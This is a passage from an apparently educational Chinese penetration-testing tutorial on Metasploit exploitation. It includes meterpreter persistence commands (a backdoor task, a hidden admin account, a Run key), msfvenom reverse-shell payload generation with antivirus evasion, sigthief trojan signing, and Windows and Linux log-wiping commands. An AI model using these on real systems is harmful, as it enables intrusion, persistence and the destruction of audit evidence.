meterpreter > execute -Hf schtasks.exe -a "/create /tn Backdoor /tr C:\\backdoor.exe /sc onstart"

# 添加用户
meterpreter > execute -Hf net.exe -a "user backdoor P@ssw0rd123 /add"
meterpreter > execute -Hf net.exe -a "localgroup administrators backdoor /add"

# 注册表持久化
meterpreter > reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v Backdoor -d "C:\\backdoor.exe"
```

### 攻击总结

| 阶段 | 技术 | 成果 |
|------|------|------|
| 初始访问 | 钓鱼邮件 | 获取工作站 Shell |
| 信息收集 | 后渗透模块 | 了解网络拓扑 |
| 凭证收集 | Mimikatz | 获取明文密码 |
| 横向移动 | PsExec、WMI | 控制多台主机 |
| 域权限提升 | Zerologon | 获取域控权限 |
| 持久化 | 多种后门 | 维持访问 |

---

## 漏洞利用最佳实践

### 利用前准备

```
┌─────────────────────────────────────────────────────────────┐
│                  利用前检查清单                             │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  □ 确认漏洞存在（已验证）                                  │
│  □ 了解目标环境（OS、应用、防护）                          │
│  □ 准备多个 Exploit（备用方案）                            │
│  □ 配置好听证（LHOST、LPORT）                              │
│  □ 准备 Payload（考虑免杀）                                │
│  □ 设置好日志记录                                          │
│  □ 准备回退方案                                            │
│  □ 获得书面授权                                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 利用策略

**选择 Exploit 的原则**：

| 原则 | 说明 |
|------|------|
| **稳定性优先** | 选择 Rank 高的 Exploit（Excellent > Great > Good） |
| **隐蔽性** | 避免触发告警的 Exploit |
| **兼容性** | 选择适合目标平台的 Payload |
| **可维护性** | 确保能维持访问 |

**利用顺序建议**：

```
1. 非破坏性 Exploit 优先
2. 远程 Exploit 优先于本地
3. 无需用户交互优先
4. 已知稳定 Exploit 优先
5. 准备备用方案
```

### 免杀技术

**常见免杀方法**：

```bash
# 1. 编码
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 \
  -f exe -o payload.exe

# 2. 加密
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -a x86 --platform windows \
  -e x86/shikata_ga_nai \
  -f exe -o payload.exe

# 3. 自定义 Shellcode
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f c -o shellcode.c
# 然后自定义加载器

# 4. 白名单程序
# 使用签名程序加载 Shellcode
$ sigthief.py -i signed.exe -p payload.exe -o trojan.exe

# 5. 内存加载
# 使用 PowerShell 无文件攻击
$ msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.5 LPORT=4444 \
  -f ps1 -o payload.ps1
```

### 日志清理

```powershell
# Windows 日志清理
meterpreter > clearev  # 清除事件日志

# 手动清除
$ wevtutil cl System
$ wevtutil cl Application
$ wevtutil cl Security

# Linux 日志清理
$ history -c
$ rm ~/.bash_history
$ truncate -s 0 /var/log/auth.log
$ truncate -s 0 /var/log/syslog
```

---

## 总结与思考

### 核心要点回顾

1. **漏洞利用是渗透测试的核心**，但需要建立在充分侦察和扫描基础上

2. **Metasploit 是必备工具**，熟练掌握能大幅提升效率

3. **理解原理比使用工具更重要**，知道为什么有效才能灵活应对

4. **免杀是实战必备技能**，现代防御环境下必须考虑

5. **合法合规是底线**，所有测试必须在授权范围内

### 深入思考

**问题 1：0day 和 Nday 如何选择？**

我的观点：
- **NDay**：稳定、可靠、有文档
- **0Day**：隐蔽、有效、但风险高
- 实战建议：优先使用 NDay，0Day 留到关键时刻

**问题 2：自动化 Exploit 和手动利用如何选择？**

我建议：
- **自动化**：快速、批量、标准化
- **手动**：灵活、绕过防御、深度利用
- 最佳实践：自动化发现，手动验证和利用

**问题 3：漏洞利用的伦理边界在哪里？**

我认为：
- 始终在授权范围内测试
- 不破坏业务连续性
- 不窃取敏感数据（除非测试需要）
- 及时报告发现
- 协助修复漏洞

### 实战建议

**给新手的建议**：

```
1. 搭建实验环境
   - VirtualBox + Kali + Metasploitable
   - HackTheBox、TryHackMe

2. 学习基础
   - 网络协议
   - 操作系统原理
   - 编程语言（Python、C）

3. 掌握工具
   - Metasploit（精通）
   - Burp Suite（Web）
   - SQLMap（注入）

4. 理解原理
   - 缓冲区溢出
   - SQL 注入
   - XSS、CSRF

5. 持续练习
   - CTF 比赛
   - 漏洞平台
   - 安全社区
```

**给企业的建议**：

```
1. 定期渗透测试
   - 每年至少 1 次
   - 重大变更后测试

2. 漏洞管理
   - 及时打补丁
   - 漏洞跟踪系统
   - 修复验证

3. 防御建设
   - 多层防御
   - 监控告警
   - 应急响应

4. 员工培训
   - 安全意识
   - 钓鱼演练
   - 安全开发
```

---

## 参考资料

### 学习资源

| 资源 | 类型 | 链接 |
|------|------|------|
| **Metasploit 官方文档** | 文档 | https://docs.metasploit.com |
| **Exploit-DB** | 漏洞库 | https://exploit-db.com |
| **PayloadsAllTheThings** | Payload 集合 | https://github.com/swisskyrepo/PayloadsAllTheThings |
| **GTFOBins** | Linux 提权 | https://gtfobins.github.io |
| **LOLBAS** | Windows  Livingston | https://lolbas-project.github.io |

### 工具资源

| 工具 | 官网 | 用途 |
|------|------|------|
| **Metasploit** | https://metasploit.com | 利用框架 |
| **SQLMap** | https://sqlmap.org | SQL 注入 |
| **Burp Suite** | https://portswigger.net/burp | Web 测试 |
| **ysoserial** | GitHub | Java 反序列化 |
| **Mimikatz** | GitHub | Windows 凭证 |
| **LinPEAS** | GitHub | Linux 提权枚举 |
| **WinPEAS** | GitHub | Windows 提权枚举 |

### 漏洞数据库

| 数据库 | 链接 |
|--------|------|
| **NVD** | https://nvd.nist.gov |
| **CVE** | https://cve.mitre.org |
| **Microsoft Security** | https://msrc.microsoft.com |

### 书籍推荐

| 书名 | 作者 | 难度 |
|------|------|------|
| 《Metasploit 渗透测试指南》 | David Kennedy | 入门 |
| 《The Shellcoder's Handbook》 | Chris Anley | 进阶 |
| 《Hacking: The Art of Exploitation》 | Jon Erickson | 进阶 |
| 《Advanced Penetration Testing》 | Wil Allsopp | 高级 |

---

*365 天信息安全技术系列 | Day 214 | 漏洞利用技术详解 | 字数：约 25,000 字*